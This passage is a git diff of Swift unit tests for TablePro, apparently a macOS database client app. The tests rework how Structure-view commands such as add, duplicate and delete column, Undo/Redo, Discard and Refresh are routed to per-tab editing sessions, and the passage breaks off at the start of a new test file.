--- a/apple/TableProTests/Views/Main/CommandActionsDispatchTests.swift
+++ b/apple/TableProTests/Views/Main/CommandActionsDispatchTests.swift
@@ -116,111 +116,81 @@ extension GlobalStateSuites {
             #expect(coordinator.tabManager.selectedTab?.content.query == "SELECT 2")
         }
 
-        // MARK: - copySelectedRows (structure mode)
+        // MARK: - Structure mode
 
-        @Test("copySelectedRows in structure mode calls structureActions.copyRows")
-        func copySelectedRows_structureMode_callsStructureActions() {
-            let (actions, coordinator) = makeSUT()
+        private func showStructure(
+            of coordinator: MainContentCoordinator
+        ) throws -> StructureEditingSession {
             coordinator.tabManager.addTab(databaseName: "testdb")
-
-            // Enable structure mode on the selected tab
-            if let idx = coordinator.tabManager.selectedTabIndex {
-                coordinator.tabManager.tabs[idx].display.resultsViewMode = .structure
-            }
-
-            // Install a spy handler
-            let handler = StructureViewActionHandler()
-            var copyRowsCalled = false
-            handler.copyRows = { copyRowsCalled = true }
-            coordinator.structureActions = handler
-
-            actions.copySelectedRows()
-
-            #expect(copyRowsCalled)
+            let index = try #require(coordinator.tabManager.selectedTabIndex)
+            coordinator.tabManager.tabs[index].display.resultsViewMode = .structure
+            let session = TestFixtures.makeStructureSession()
+            session.changeManager.loadSchema(
+                tableName: "users", columns: [], indexes: [], foreignKeys: [], primaryKey: []
+            )
+            session.markBaselineAdopted()
+            coordinator.structureSessions[coordinator.tabManager.tabs[index].id] = session
+            return session
         }
 
-        // MARK: - pasteRows (structure mode)
-
-        @Test("pasteRows in structure mode calls structureActions.pasteRows")
-        func pasteRows_structureMode_callsStructureActions() {
+        @Test("Add Row in Structure stages a column on the tab's session")
+        func addNewRow_structureMode_stagesOnTheSession() throws {
             let (actions, coordinator) = makeSUT()
-            coordinator.tabManager.addTab(databaseName: "testdb")
-
-            // Enable structure mode on the selected tab
-            if let idx = coordinator.tabManager.selectedTabIndex {
-                coordinator.tabManager.tabs[idx].display.resultsViewMode = .structure
-            }
-
-            // Install a spy handler
-            let handler = StructureViewActionHandler()
-            var pasteRowsCalled = false
-            handler.pasteRows = { pasteRowsCalled = true }
-            coordinator.structureActions = handler
+            let session = try showStructure(of: coordinator)
+            #expect(actions.selectionOwner == .schemaGrid)
+            #expect(actions.isCurrentTabEditable)
+            #expect(actions.isCurrentTabSchemaResolved)
 
-            actions.pasteRows()
+            actions.addNewRow()
 
-            #expect(pasteRowsCalled)
+            #expect(session.changeManager.workingColumns.count == 1)
+            #expect(session.hasChanges)
         }
 
-        // MARK: - addNewRow (structure mode)
-
-        @Test("addNewRow in structure mode calls structureActions.addRow")
-        func addNewRow_structureMode_callsStructureActions() {
+        // Cmd+Shift+D reached only the data grid, so it did nothing in Structure.
+        @Test("Duplicate Row in Structure duplicates the selected column")
+        func duplicateRow_structureMode_duplicatesTheSelection() throws {
             let (actions, coordinator) = makeSUT()
-            coordinator.tabManager.addTab(databaseName: "testdb")
+            let session = try showStructure(of: coordinator)
+            actions.addNewRow()
+            try #require(session.editor.focusedSection == .columns)
 
-            if let idx = coordinator.tabManager.selectedTabIndex {
-                coordinator.tabManager.tabs[idx].display.resultsViewMode = .structure
-            }
+            actions.duplicateRow()
 
-            let handler = StructureViewActionHandler()
-            var addRowCalled = false
-            handler.addRow = { addRowCalled = true }
-            coordinator.structureActions = handler
+            #expect(session.changeManager.workingColumns.count == 2)
+        }
 
+        @Test("Delete in Structure removes the selected column")
+        func deleteSelectedRows_structureMode_removesTheSelection() throws {
+            let (actions, coordinator) = makeSUT()
+            let session = try showStructure(of: coordinator)
             actions.addNewRow()
+            try #require(actions.hasRowSelection)
 
-            #expect(addRowCalled)
-        }
+            actions.deleteSelectedRows()
 
-        // MARK: - deleteSelectedRows (structure mode)
+            #expect(session.changeManager.workingColumns.isEmpty)
+        }
 
-        @Test("deleteSelectedRows in structure mode calls structureActions.removeRow")
-        func deleteSelectedRows_structureMode_callsStructureActions() {
+        @Test("A Structure view with no session takes no row commands")
+        func structureModeWithoutASession_ownsNoSelection() throws {
             let (actions, coordinator) = makeSUT()
             coordinator.tabManager.addTab(databaseName: "testdb")
+            let index = try #require(coordinator.tabManager.selectedTabIndex)
+            coordinator.tabManager.tabs[index].display.resultsViewMode = .structure
 
-            if let idx = coordinator.tabManager.selectedTabIndex {
-                coordinator.tabManager.tabs[idx].display.resultsViewMode = .structure
-            }
-
-            let handler = StructureViewActionHandler()
-            var removeRowCalled = false
-            handler.removeRow = { removeRowCalled = true }
-            coordinator.structureActions = handler
-
-            actions.deleteSelectedRows()
-
-            #expect(removeRowCalled)
+            #expect(actions.selectionOwner == .none)
+            #expect(!actions.isCurrentTabEditable)
         }
 
         // MARK: - saveChanges (createTable tab)
 
-        // The structure arm below would otherwise apply the staged edits of whatever session the tab id carries.
-        @Test("saveChanges dispatches createTableActions when the selected tab is createTable")
-        func saveChanges_createTableTab_callsCreateTableAction() {
+        // The structure arm would otherwise apply the staged edits of whatever session the tab id carries.
+        @Test("saveChanges on a createTable tab never applies a structure session's edits")
+        func saveChanges_createTableTab_leavesStructureSessionAlone() throws {
             let (actions, coordinator) = makeSUT()
             coordinator.tabManager.addCreateTableTab(databaseName: "testdb")
-            guard let id = coordinator.tabManager.selectedTabId else {
-                Issue.record("expected a selected tab")
-                return
-            }
-
-            let createHandler = CreateTableActionHandler()
-            var createCalled = false
-            createHandler.createTable = { createCalled = true }
-            coordinator.createTableActions = createHandler
-
+            let id = try #require(coordinator.tabManager.selectedTabId)
             let session = TestFixtures.makeStructureSession()
             coordinator.structureSessions[id] = session
             session.changeManager.loadSchema(
@@ -230,25 +200,31 @@ extension GlobalStateSuites {
 
             actions.saveChanges()
 
-            #expect(createCalled)
             #expect(session.appliedVersion == 0)
             #expect(session.changeManager.hasChanges)
         }
 
-        @Test("saveChanges without createTableActions is a no-op for a createTable tab")
-        func saveChanges_createTableTab_withoutAction_doesNothing() {
+        // Leaving Structure for Data used to dim Save while the session still held its ALTERs.
+        @Test("From the Data view, Save reaches staged structure edits only when no grid edit is ahead of them")
+        func stagedStructureSession_followsTheDataView() throws {
             let (actions, coordinator) = makeSUT()
-            coordinator.tabManager.addCreateTableTab(databaseName: "testdb")
-            guard let id = coordinator.tabManager.selectedTabId else {
-                Issue.record("expected a selected tab")
-                return
-            }
-            let session = TestFixtures.makeStructureSession()
-            coordinator.structureSessions[id] = session
+            let session = try showStructure(of: coordinator)
+            session.changeManager.addNewColumn()
+            let index = try #require(coordinator.tabManager.selectedTabIndex)
+            coordinator.tabManager.tabs[index].display.resultsViewMode = .data
 
-            actions.saveChanges()
+            #expect(actions.stagedStructureSession === session)
 
-            #expect(session.appliedVersion == 0)
+            coordinator.changeManager.configureForTable(
+                tableName: "users",
+                columns: ["id"],
+                primaryKeyColumns: ["id"],
+                databaseType: .mysql,
+                generatedColumns: []
+            )
+            coordinator.changeManager.recordRowDeletion(rowID: .existing(0), originalRow: [.text("1")])
+
+            #expect(actions.stagedStructureSession == nil)
         }
 
         // MARK: - Row selection resolution
diff --git a/apple/TableProTests/Views/Main/MainContentCoordinatorRefreshTests.swift b/apple/TableProTests/Views/Main/MainContentCoordinatorRefreshTests.swift
index 6c0c822cd1..b1056c17ac 100644
--- a/apple/TableProTests/Views/Main/MainContentCoordinatorRefreshTests.swift
+++ b/apple/TableProTests/Views/Main/MainContentCoordinatorRefreshTests.swift
@@ -4,6 +4,7 @@
 
 import Combine
 import Foundation
+import TableProTestSupport
 import Testing
 
 @testable import TablePro
@@ -298,27 +299,21 @@ struct MainContentCoordinatorRefreshTests {
         }
     }
 
-    @Test("Refresh in structure view dispatches to the structure refresh handler")
-    func refreshInStructureViewDispatchesToHandler() {
+    @Test("Refresh in structure view reloads the tab's structure session, not its rows")
+    func refreshInStructureViewReloadsTheSession() async throws {
         let (coordinator, tabManager) = makeCoordinator()
         let tabId = addTableTab(to: tabManager)
-        guard let idx = tabManager.tabs.firstIndex(where: { $0.id == tabId }) else {
-            Issue.record("expected tab to exist")
-            return
-        }
+        let idx = try #require(tabManager.tabs.firstIndex(where: { $0.id == tabId }))
         tabManager.tabs[idx].display.resultsViewMode = .structure
-
-        let handler = StructureViewActionHandler()
-        var refreshCalled = false
-        handler.refresh = { refreshCalled = true }
-        coordinator.structureActions = handler
+        let session = TestFixtures.makeStructureSession()
+        coordinator.structureSessions[tabId] = session
 
         let initialEpoch = coordinator.tabExecution.contentEpoch(for: tabId)
         coordinator.handleRefresh(hasPendingTableOps: false, onDiscard: {})
 
-        #expect(refreshCalled == true)
         #expect(coordinator.tabExecution.contentEpoch(for: tabId) == initialEpoch)
         #expect(coordinator.queryTasks.hasTask(for: tabId) == false)
+        try await waitUntil { session.partsReloadToken == 1 }
     }
 
     @Test("requestRefresh fires immediately and coalesces a rapid second call")
diff --git a/apple/TableProTests/Views/Main/ResultStatusBarLayoutTests.swift b/apple/TableProTests/Views/Main/ResultStatusBarLayoutTests.swift
index 589d44e259..e043f49c1f 100644
--- a/apple/TableProTests/Views/Main/ResultStatusBarLayoutTests.swift
+++ b/apple/TableProTests/Views/Main/ResultStatusBarLayoutTests.swift
@@ -28,7 +28,6 @@ struct ResultStatusBarLayoutTests {
         viewMode: ResultsViewMode,
         pagination: PaginationState = PaginationState(),
         statusMessage: String? = nil,
-        structureFooter: StructureFooterCapability = StructureFooterCapability(),
         selectionSummary: SelectionSummaryState? = nil,
         lastTiming: PluginQueryTiming? = nil
     ) -> ResultStatusBar {
@@ -44,7 +43,6 @@ struct ResultStatusBarLayoutTests {
                 hasTableName: tabType == .table,
                 hasColumns: hasColumns
             ),
-            hasStructureActions: structureFooter.isActive,
             pagination: pagination,
             statusMessage: statusMessage
         )
@@ -82,7 +80,6 @@ struct ResultStatusBarLayoutTests {
                 onGoToPage: { _ in },
                 onRequestExactCount: {}
             ),
-            structureFooter: structureFooter,
             execution: ExecutionReadout(
                 tabId: UUID(),
                 execution: TabExecutionRegistry(),
@@ -99,9 +96,7 @@ struct ResultStatusBarLayoutTests {
             onCloseResultSet: { _ in },
             onCloseOtherResultSets: { _ in },
             onToggleFilters: {},
-            onFetchAll: {},
-            onStructureAdd: {},
-            onStructureRemove: {}
+            onFetchAll: {}
         )
     }
 
@@ -290,13 +285,7 @@ struct ResultStatusBarLayoutTests {
             rowCount: 1_000,
             hasColumns: true,
             tabType: .table,
-            viewMode: .structure,
-            structureFooter: StructureFooterCapability(
-                canAdd: true,
-                canRemove: true,
-                addLabel: "Add Column",
-                removeLabel: "Remove Column"
-            )
+            viewMode: .structure
         )
         let host = NSHostingView(rootView: bar)
         host.sizingOptions = []
@@ -357,7 +346,6 @@ struct ResultStatusBarLayoutTests {
                 onGoToPage: { _ in },
                 onRequestExactCount: {}
             ),
-            structureFooter: StructureFooterCapability(),
             execution: ExecutionReadout(tabId: tab.id, execution: registry, lastTiming: timing, onCancel: {}),
             selectionSummary: SelectionSummaryState(),
             isRefreshingSchema: false,
@@ -369,9 +357,7 @@ struct ResultStatusBarLayoutTests {
             onCloseResultSet: { _ in },
             onCloseOtherResultSets: { _ in },
             onToggleFilters: {},
-            onFetchAll: {},
-            onStructureAdd: {},
-            onStructureRemove: {}
+            onFetchAll: {}
         )
     }
 
@@ -438,13 +424,7 @@ struct ResultStatusBarLayoutTests {
             rowCount: 1_000,
             hasColumns: true,
             tabType: .table,
-            viewMode: .structure,
-            structureFooter: StructureFooterCapability(
-                canAdd: true,
-                canRemove: true,
-                addLabel: "Add Column",
-                removeLabel: "Remove Column"
-            )
+            viewMode: .structure
         )
         expectFills(bar, at: width)
     }
diff --git a/apple/TableProTests/Views/Main/StructureActionHandlerTests.swift b/apple/TableProTests/Views/Main/StructureActionHandlerTests.swift
deleted file mode 100644
index be1632f54d..0000000000
--- a/apple/TableProTests/Views/Main/StructureActionHandlerTests.swift
+++ /dev/null
@@ -1,220 +0,0 @@
-//
-//  StructureActionHandlerTests.swift
-//  TableProTests
-//
-//  Tests for StructureViewActionHandler closure dispatch and coordinator integration.
-//
-
-import Foundation
-@testable import TablePro
-import TableProPluginKit
-import Testing
-
-@MainActor
-struct StructureActionHandlerTests {
-    // MARK: - Helpers
-
-    private func makeCoordinator() -> MainContentCoordinator {
-        let connection = TestFixtures.makeConnection()
-        let state = SessionStateFactory.create(connection: connection, payload: nil)
-        return state.coordinator
-    }
-
-    // MARK: - Individual Closure Dispatch
-
-    @Test("refresh closure fires when invoked")
-    func refresh_fires() {
-        let handler = StructureViewActionHandler()
-        var count = 0
-        handler.refresh = { count += 1 }
-
-        handler.refresh?()
-
-        #expect(count == 1)
-    }
-
-    @Test("previewSQL closure fires when invoked")
-    func previewSQL_fires() {
-        let handler = StructureViewActionHandler()
-        var count = 0
-        handler.previewSQL = { count += 1 }
-
-        handler.previewSQL?()
-
-        #expect(count == 1)
-    }
-
-    @Test("copyRows closure fires when invoked")
-    func copyRows_fires() {
-        let handler = StructureViewActionHandler()
-        var count = 0
-        handler.copyRows = { count += 1 }
-
-        handler.copyRows?()
-
-        #expect(count == 1)
-    }
-
-    @Test("pasteRows closure fires when invoked")
-    func pasteRows_fires() {
-        let handler = StructureViewActionHandler()
-        var count = 0
-        handler.pasteRows = { count += 1 }
-
-        handler.pasteRows?()
-
-        #expect(count == 1)
-    }
-
-    @Test("undo closure fires when invoked")
-    func undo_fires() {
-        let handler = StructureViewActionHandler()
-        var count = 0
-        handler.undo = { count += 1 }
-
-        handler.undo?()
-
-        #expect(count == 1)
-    }
-
-    @Test("redo closure fires when invoked")
-    func redo_fires() {
-        let handler = StructureViewActionHandler()
-        var count = 0
-        handler.redo = { count += 1 }
-
-        handler.redo?()
-
-        #expect(count == 1)
-    }
-
-    @Test("addRow closure fires when invoked")
-    func addRow_fires() {
-        let handler = StructureViewActionHandler()
-        var count = 0
-        handler.addRow = { count += 1 }
-
-        handler.addRow?()
-
-        #expect(count == 1)
-    }
-
-    @Test("removeRow closure fires when invoked")
-    func removeRow_fires() {
-        let handler = StructureViewActionHandler()
-        var count = 0
-        handler.removeRow = { count += 1 }
-
-        handler.removeRow?()
-
-        #expect(count == 1)
-    }
-
-    // MARK: - All Closures Fire Independently
-
-    @Test("all closures fire independently without cross-talk")
-    func allClosures_fireIndependently() {
-        let handler = StructureViewActionHandler()
-        var counts = [String: Int]()
-
-        handler.refresh = { counts["refresh", default: 0] += 1 }
-        handler.previewSQL = { counts["previewSQL", default: 0] += 1 }
-        handler.copyRows = { counts["copyRows", default: 0] += 1 }
-        handler.pasteRows = { counts["pasteRows", default: 0] += 1 }
-        handler.undo = { counts["undo", default: 0] += 1 }
-        handler.redo = { counts["redo", default: 0] += 1 }
-        handler.addRow = { counts["addRow", default: 0] += 1 }
-        handler.removeRow = { counts["removeRow", default: 0] += 1 }
-
-        handler.refresh?()
-        handler.previewSQL?()
-        handler.copyRows?()
-        handler.pasteRows?()
-        handler.undo?()
-        handler.redo?()
-        handler.addRow?()
-        handler.removeRow?()
-
-        #expect(counts["refresh"] == 1)
-        #expect(counts["previewSQL"] == 1)
-        #expect(counts["copyRows"] == 1)
-        #expect(counts["pasteRows"] == 1)
-        #expect(counts["undo"] == 1)
-        #expect(counts["redo"] == 1)
-        #expect(counts["addRow"] == 1)
-        #expect(counts["removeRow"] == 1)
-    }
-
-    // MARK: - Coordinator Integration
-
-    @Test("coordinator.structureActions dispatches refresh closure")
-    func coordinator_dispatchesSaveChanges() {
-        let coordinator = makeCoordinator()
-        defer { coordinator.teardown() }
-
-        let handler = StructureViewActionHandler()
-        var count = 0
-        handler.refresh = { count += 1 }
-        coordinator.structureActions = handler
-
-        coordinator.structureActions?.refresh?()
-
-        #expect(count == 1)
-    }
-
-    @Test("coordinator.structureActions dispatches all closures")
-    func coordinator_dispatchesAllClosures() {
-        let coordinator = makeCoordinator()
-        defer { coordinator.teardown() }
-
-        let handler = StructureViewActionHandler()
-        var counts = [String: Int]()
-
-        handler.refresh = { counts["refresh", default: 0] += 1 }
-        handler.previewSQL = { counts["previewSQL", default: 0] += 1 }
-        handler.copyRows = { counts["copyRows", default: 0] += 1 }
-        handler.pasteRows = { counts["pasteRows", default: 0] += 1 }
-        handler.undo = { counts["undo", default: 0] += 1 }
-        handler.redo = { counts["redo", default: 0] += 1 }
-
-        coordinator.structureActions = handler
-
-        coordinator.structureActions?.refresh?()
-        coordinator.structureActions?.previewSQL?()
-        coordinator.structureActions?.copyRows?()
-        coordinator.structureActions?.pasteRows?()
-        coordinator.structureActions?.undo?()
-        coordinator.structureActions?.redo?()
-
-        #expect(counts["refresh"] == 1)
-        #expect(counts["previewSQL"] == 1)
-        #expect(counts["copyRows"] == 1)
-        #expect(counts["pasteRows"] == 1)
-        #expect(counts["undo"] == 1)
-        #expect(counts["redo"] == 1)
-    }
-
-    // MARK: - Weak Reference Nil-Out
-
-    @Test("closures no longer fire after coordinator.structureActions is set to nil")
-    func coordinatorNilOut_closuresNoLongerFire() {
-        let coordinator = makeCoordinator()
-        defer { coordinator.teardown() }
-
-        let handler = StructureViewActionHandler()
-        var count = 0
-        handler.refresh = { count += 1 }
-        coordinator.structureActions = handler
-
-        // Verify it works before nil-out
-        coordinator.structureActions?.refresh?()
-        #expect(count == 1)
-
-        // Nil out the weak reference
-        coordinator.structureActions = nil
-
-        // Calling through coordinator should be a no-op now
-        coordinator.structureActions?.refresh?()
-        #expect(count == 1)
-    }
-}
diff --git a/apple/TableProTests/Views/Main/StructureCommandRoutingTests.swift b/apple/TableProTests/Views/Main/StructureCommandRoutingTests.swift
new file mode 100644
index 0000000000..f1298e52f6
--- /dev/null
+++ b/apple/TableProTests/Views/Main/StructureCommandRoutingTests.swift
@@ -0,0 +1,187 @@
+//
+//  StructureCommandRoutingTests.swift
+//  TableProTests
+//
+
+import AppKit
+import Foundation
+import SwiftUI
+@testable import TablePro
+import TableProPluginKit
+import Testing
+
+@MainActor
+struct StructureCommandRoutingTests {
+    private func makeSUT() -> (MainContentCommandActions, MainContentCoordinator) {
+        let connection = TestFixtures.makeConnection()
+        let coordinator = SessionStateFactory.create(connection: connection, payload: nil).coordinator
+        var selectedTables: Set<DatabaseTreeTableRef> = []
+        var pendingTruncates: Set<DatabaseTreeTableRef> = []
+        var pendingDeletes: Set<DatabaseTreeTableRef> = []
+        var tableOperationOptions: [DatabaseTreeTableRef: TableOperationOptions] = [:]
+        let actions = MainContentCommandActions(
+            coordinator: coordinator,
+            connection: connection,
+            selectedTables: Binding(get: { selectedTables }, set: { selectedTables = $0 }),
+            pendingTruncates: Binding(get: { pendingTruncates }, set: { pendingTruncates = $0 }),
+            pendingDeletes: Binding(get: { pendingDeletes }, set: { pendingDeletes = $0 }),
+            tableOperationOptions: Binding(get: { tableOperationOptions }, set: { tableOperationOptions = $0 }),
+            trailingPaneState: TrailingPaneState()
+        )
+        return (actions, coordinator)
+    }
+
+    private func showStructure(of coordinator: MainContentCoordinator) throws -> StructureEditingSession {
+        coordinator.tabManager.addTab(databaseName: "testdb")
+        let index = try #require(coordinator.tabManager.selectedTabIndex)
+        coordinator.tabManager.tabs[index].display.resultsViewMode = .structure
+        let session = TestFixtures.makeStructureSession()
+        session.changeManager.loadSchema(
+            tableName: "users", columns: [], indexes: [], foreignKeys: [], primaryKey: []
+        )
+        coordinator.structureSessions[coordinator.tabManager.tabs[index].id] = session
+        return session
+    }
+
+    private func showCreateTable(in coordinator: MainContentCoordinator) throws -> CreateTableDraft {
+        coordinator.tabManager.addCreateTableTab(databaseName: "testdb")
+        let id = try #require(coordinator.tabManager.selectedTabId)
+        let draft = CreateTableDraft(connection: TestFixtures.makeConnection(), scope: nil)
+        draft.resolveForm(from: nil)
+        coordinator.createTableDrafts[id] = draft
+        return draft
+    }
+
+    private func stageCellEdit(on coordinator: MainContentCoordinator) {
+        coordinator.changeManager.configureForTable(
+            tableName: "users",
+            columns: ["id", "name"],
+            primaryKeyColumns: ["id"],
+            databaseType: .mysql,
+            generatedColumns: []
+        )
+        coordinator.changeManager.recordRowDeletion(rowID: .existing(0), originalRow: [.text("1"), .text("ada")])
+    }
+
+    // MARK: - Undo
+
+    // The menu used to stay lit in Structure whenever the view was mounted, with nothing to undo.
+    @Test("Undo in Structure is dim and plainly titled with nothing staged")
+    func structureUndoIsDimWithNothingStaged() throws {
+        let (actions, coordinator) = makeSUT()
+        _ = try showStructure(of: coordinator)
+
+        #expect(!actions.canUndo)
+        #expect(!actions.canRedo)
+        #expect(actions.resolvedUndoTitle == String(localized: "Undo"))
+        #expect(actions.resolvedRedoTitle == String(localized: "Redo"))
+    }
+
+    @Test("Undo in Structure is named and run by the session's own history")
+    func structureUndoFollowsTheSession() throws {
+        let (actions, coordinator) = makeSUT()
+        let session = try showStructure(of: coordinator)
+        session.changeManager.addNewColumn()
+
+        #expect(actions.canUndo)
+        #expect(actions.resolvedUndoTitle == session.undoMenuItemTitle)
+        #expect(actions.resolvedUndoTitle != String(localized: "Undo"))
+
+        actions.undoChange()
+
+        #expect(!session.hasChanges)
+        #expect(!actions.canUndo)
+        #expect(actions.canRedo)
+        #expect(actions.resolvedRedoTitle == session.redoMenuItemTitle)
+
+        actions.redoChange()
+
+        #expect(session.hasChanges)
+    }
+
+    @Test("A session behind the Data view takes no Undo")
+    func sessionBehindTheDataViewKeepsItsHistory() throws {
+        let (actions, coordinator) = makeSUT()
+        let session = try showStructure(of: coordinator)
+        session.changeManager.addNewColumn()
+        let index = try #require(coordinator.tabManager.selectedTabIndex)
+        coordinator.tabManager.tabs[index].display.resultsViewMode = .data
+
+        actions.undoChange()
+
+        #expect(session.hasChanges)
+    }
+
+    // A Create Table tab keeps its view mode at Data, so Undo read the window's history, which holds none of the draft.
+    @Test("Undo on a Create Table tab is enabled, named and run by the draft")
+    func createTableUndoFollowsTheDraft() throws {
+        let (actions, coordinator) = makeSUT()
+        let draft = try showCreateTable(in: coordinator)
+        draft.changeManager.addNewColumn()
+
+        #expect(actions.canUndo == draft.canUndo)
+        #expect(actions.canUndo)
+        #expect(actions.resolvedUndoTitle == draft.undoMenuItemTitle)
+
+        actions.undoChange()
+
+        #expect(actions.canRedo)
+        #expect(actions.resolvedRedoTitle == draft.redoMenuItemTitle)
+    }
+
+    // MARK: - Discard Changes
+
+    @Test("Discard Changes follows the session's staged edits")
+    func discardFollowsStagedStructureEdits() throws {
+        let (actions, coordinator) = makeSUT()
+        let session = try showStructure(of: coordinator)
+        #expect(!actions.canDiscardChanges)
+
+        session.changeManager.addNewColumn()
+        #expect(actions.canDiscardChanges)
+
+        session.discardChanges()
+        #expect(!actions.canDiscardChanges)
+    }
+
+    @Test("Discard Changes clears grid edits")
+    func discardClearsGridEdits() {
+        let (actions, coordinator) = makeSUT()
+        coordinator.tabManager.addTab(databaseName: "testdb")
+        #expect(!actions.canDiscardChanges)
+
+        stageCellEdit(on: coordinator)
+        #expect(actions.canDiscardChanges)
+
+        actions.discardDataWork()
+
+        #expect(!coordinator.changeManager.hasChanges)
+        #expect(!actions.canDiscardChanges)
+    }
+
+    @Test("Discard Changes is not offered on a Create Table tab")
+    func discardIsNotOfferedForCreateTable() throws {
+        let (actions, coordinator) = makeSUT()
+        let draft = try showCreateTable(in: coordinator)
+        draft.tableName = "invoices"
+
+        #expect(draft.holdsWork)
+        #expect(!actions.canDiscardChanges)
+    }
+
+    @Test("Discard Changes needs a connection and something to discard")
+    func discardValidation() {
+        let selector = #selector(MainSplitViewController.discardChanges(_:))
+        var context = MenuValidationContext()
+        #expect(MainSplitViewController.resolvedEnablement(selector, context: context) == false)
+
+        context.isConnected = true
+        #expect(MainSplitViewController.resolvedEnablement(selector, context: context) == false)
+
+        context.canDiscardChanges = true
+        #expect(MainSplitViewController.resolvedEnablement(selector, context: context) == true)
+
+        context.isAgentMode = true
+        #expect(MainSplitViewController.resolvedEnablement(selector, context: context) == false)
+    }
+}
diff --git a/apple/TableProTests/Views/Main/TabCloseProtectionTests.swift b/apple/TableProTests/Views/Main/TabCloseProtectionTests.swift
index ae9ea440f1..5a6d165dc8 100644
--- a/apple/TableProTests/Views/Main/TabCloseProtectionTests.swift
+++ b/apple/TableProTests/Views/Main/TabCloseProtectionTests.swift
@@ -228,7 +228,7 @@ struct TabCloseProtectionTests {
         var tab = QueryTab(query: "")
         tab.tabType = .createTable
 
-        let draft = CreateTableDraft()
+        let draft = CreateTableDraft(connection: TestFixtures.makeConnection(), scope: nil)
         draft.changeManager.addNewColumn()
         coordinator.createTableDrafts[tab.id] = draft
 
@@ -244,7 +244,7 @@ struct TabCloseProtectionTests {
         var tab = QueryTab(query: "")
         tab.tabType = .createTable
 
-        let draft = CreateTableDraft()
+        let draft = CreateTableDraft(connection: TestFixtures.makeConnection(), scope: nil)
         draft.tableName = "invoices"
         coordinator.createTableDrafts[tab.id] = draft
 
@@ -260,7 +260,7 @@ struct TabCloseProtectionTests {
         var tab = QueryTab(query: "")
         tab.tabType = .createTable
 
-        let draft = CreateTableDraft()
+        let draft = CreateTableDraft(connection: TestFixtures.makeConnection(), scope: nil)
         draft.changeManager.addNewColumn()
         coordinator.createTableDrafts[tab.id] = draft
 
@@ -382,7 +382,7 @@ struct TabCloseProtectionTests {
             return
         }
         coordinator.structureSessions[id] = TestFixtures.makeStructureSession()
-        coordinator.createTableDrafts[id] = CreateTableDraft()
+        coordinator.createTableDrafts[id] = CreateTableDraft(connection: TestFixtures.makeConnection(), scope: nil)
 
         coordinator.closeTabsByUser(ids: [id])
 
diff --git a/apple/TableProTests/Views/Main/TriggerStructTests.swift b/apple/TableProTests/Views/Main/TriggerStructTests.swift
index 0609029a78..fc31f9b8fc 100644
--- a/apple/TableProTests/Views/Main/TriggerStructTests.swift
+++ b/apple/TableProTests/Views/Main/TriggerStructTests.swift
@@ -79,6 +79,15 @@ struct InspectorTriggerTests {
     func differentGridDisplayRevision() {
         #expect(trigger(gridDisplayRevision: 0) != trigger(gridDisplayRevision: 1))
     }
+
+    // A Structure view's session appears after its view first mounts, and the inspector has to pick it up.
+    @Test("A structure editor appearing produces unequal triggers")
+    func structureEditorAppearing() {
+        let editor = NSObject()
+        var withEditor = trigger(resultsViewMode: .structure)
+        withEditor.structureEditor = ObjectIdentifier(editor)
+        #expect(trigger(resultsViewMode: .structure) != withEditor)
+    }
 }
 
 // MARK: - PendingChangeTrigger Tests
diff --git a/apple/TableProTests/Views/Main/UserTypeTabStateTests.swift b/apple/TableProTests/Views/Main/UserTypeTabStateTests.swift
index c0cf1eb172..f78aa251c2 100644
--- a/apple/TableProTests/Views/Main/UserTypeTabStateTests.swift
+++ b/apple/TableProTests/Views/Main/UserTypeTabStateTests.swift
@@ -30,7 +30,6 @@ struct UserTypeTabStateTests {
         model.stage(.addEnumLabel("glad", placement: nil))
 
         fixture.coordinator.publishUserTypeEditorState(tabId: tab.id, hasChanges: model.hasChanges)
-        fixture.coordinator.toolbarState.hasStructureChanges = false
 
         #expect(fixture.coordinator.toolbarState.hasTypeChanges)
     }
diff --git a/apple/TableProTests/Views/RowInspector/InspectorPopOutWindowTests.swift b/apple/TableProTests/Views/RowInspector/InspectorPopOutWindowTests.swift
index 1d60b3681c..14bbd4b405 100644
--- a/apple/TableProTests/Views/RowInspector/InspectorPopOutWindowTests.swift
+++ b/apple/TableProTests/Views/RowInspector/InspectorPopOutWindowTests.swift
@@ -33,6 +33,5 @@ struct InspectorPopOutWindowTests {
         #expect(InspectorPopOutWindow.resolve(for: .binaryValue(.protobuf)) == .binary(.protobuf))
         #expect(InspectorPopOutWindow.resolve(for: .multiLine) == .text)
         #expect(InspectorPopOutWindow.resolve(for: .singleLine) == .text)
-        #expect(InspectorPopOutWindow.resolve(for: .schemaText) == .text)
     }
 }
diff --git a/apple/TableProTests/Views/RowInspector/InspectorValueThemeTests.swift b/apple/TableProTests/Views/RowInspector/InspectorValueThemeTests.swift
index b60f847094..dae89e5df5 100644
--- a/apple/TableProTests/Views/RowInspector/InspectorValueThemeTests.swift
+++ b/apple/TableProTests/Views/RowInspector/InspectorValueThemeTests.swift
@@ -33,7 +33,7 @@ struct InspectorValueThemeTests {
     }
 
     private func field(_ value: String, kind: FieldEditorKind, state: FieldValueState? = nil) -> FieldEditorContent {
-        FieldEditorContent(context: context(value, state: state), kind: kind, databaseType: .sqlite)
+        FieldEditorContent(context: context(value, state: state), kind: kind)
     }
 
     private func pixel(of view: some View, size: CGSize, x: Int, fromBottom: Int? = nil) throws -> NSColor {
@@ -85,7 +85,7 @@ struct InspectorValueThemeTests {
             valueState: .value(value.wrappedValue),
             isReadOnly: false
         )
-        return FieldEditorContent(context: context, kind: kind, databaseType: .sqlite)
+        return FieldEditorContent(context: context, kind: kind)
     }
 
     private func editableField(_ value: String, kind: FieldEditorKind = .singleLine) -> FieldEditorContent {
diff --git a/apple/TableProTests/Views/RowInspector/SplitItemGlassBackgroundTests.swift b/apple/TableProTests/Views/RowInspector/SplitItemGlassBackgroundTests.swift
index 807aa7c5af..be514ed669 100644
--- a/apple/TableProTests/Views/RowInspector/SplitItemGlassBackgroundTests.swift
+++ b/apple/TableProTests/Views/RowInspector/SplitItemGlassBackgroundTests.swift
@@ -31,7 +31,7 @@ struct SplitItemGlassBackgroundTests {
             columnTypes: [.integer(rawType: "INTEGER"), .text(rawType: "TEXT")],
             externallyModifiedColumns: []
         )
-        return InspectorFieldListView(editState: state, isEditable: true, databaseType: .sqlite, userDefinedTypeScope: nil)
+        return InspectorFieldListView(editState: state, isEditable: true, databaseType: .sqlite)
     }
 
     @Test("A plain list keeps its material where split items are not glass and drops it where they are")
diff --git a/apple/TableProTests/Views/Structure/CreateTableDraftCommandTests.swift b/apple/TableProTests/Views/Structure/CreateTableDraftCommandTests.swift
new file mode 100644
index 0000000000..3b8e0e5329
--- /dev/null
+++ b/apple/TableProTests/Views/Structure/CreateTableDraftCommandTests.swift
@@ -0,0 +1,145 @@
+//
